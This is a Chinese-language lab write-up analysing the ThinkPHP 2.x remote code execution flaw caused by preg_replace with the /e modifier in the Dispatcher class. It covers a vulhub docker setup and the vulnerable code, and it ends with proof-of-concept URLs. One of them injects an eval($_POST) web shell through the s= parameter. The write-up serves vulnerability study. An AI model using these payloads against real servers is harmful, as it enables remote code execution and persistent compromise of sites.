ThinkPHP漏洞之ThinkPHP 2.x 任意代码执行

漏洞描述

在ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

1
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。

1
2
e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;  
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。

环境搭建

使用vulhub的docker环境一键部署

systemctl start docker   //启动docker
git clone https://github.com/vulhub/vulhub.git  //拉取vulhub靶场代码
cd /vulhub/thinkphp/2-rce   //进入2-rce目录
docker-compose up -d   //启动docker环境
docker-compose ps  //查看服务端口

http://your-ip:8080/

1

漏洞分析

这个漏洞的代码位置在./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102:可以进入docker搜索

1
find . -name '*.php' | xargs grep -n 'preg_replace'

了解到这个是thinkphp 内置的Dispacher类,用来完成URL解析、路由和调度。

1
2
3
4
5
6
7
8
类名为`Dispatcher`,class Dispatcher extends Think
里面的方法有:
static public function dispatch() URL映射到控制器
public static function getPathInfo() 获得服务器的PATH_INFO信息
static public function routerCheck() 路由检测
static private function parseUrl($route)
static private function getModule($var) 获得实际的模块名称
static private function getGroup($var) 获得实际的分组名称

漏洞所在关键代码块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 分析PATHINFO信息
self::getPathInfo();

if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$var = array();
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
// 禁止直接访问分组
exit;
}
}
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);
}

看正则匹配的第一部分'@(\w+)'.$depr.'([^'.$depr.'\/]+)@e'

$depr表示 网页路径”分隔符”,作用是将传过来的$path以$depr为分隔符连接起来。

'$var[\'\\1\']="\\2";'是对一个数组做操作。

implode($depr,$paths)implode()是将数组转成字符串

首先 \w+匹配到一个以上字符,接下来$depr 匹配到一个网页路径分隔符,

([^'.$depr.'\/]+),首先[^abcd]表示匹配abcd以外的所有字符,因此,原式所匹配的规则为匹配一个

或多个除了网页分隔符和“\”以外的字符,将输入匹配到的结果为a/b, c/${@print(eval($_POST[1]))},

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$var = array();
$a='$var[\'\\1\']="\\2";';
$b='a/b/c/d/e/f';
preg_replace("/(\w+)\/([^\/\/])/ies",$a,$b);


print_r($var);

运行结果:
Array
(
[a] => b
[c] => d
[e] => f
)

沙箱地址:

更加清晰的是取出每2个参数,然后第一个参数作为数组的键,第二个参数作为数组的值,那么在这个过程当中,上述例子如果$b可控,同样会发生代码执行。

数组$var在路径存在模块和动作时,会去除掉前2个值。而数组$var来自于explode($depr,trim($_SERVER['PATH_INFO'],'/'));也就是路径。

构造poc如下:https://onlinephp.io/

1
/index.php?s=a/b/c/${phpinfo()}
1
/index.php?s=a/b/c/${@print(eval($_POST[1]))}

2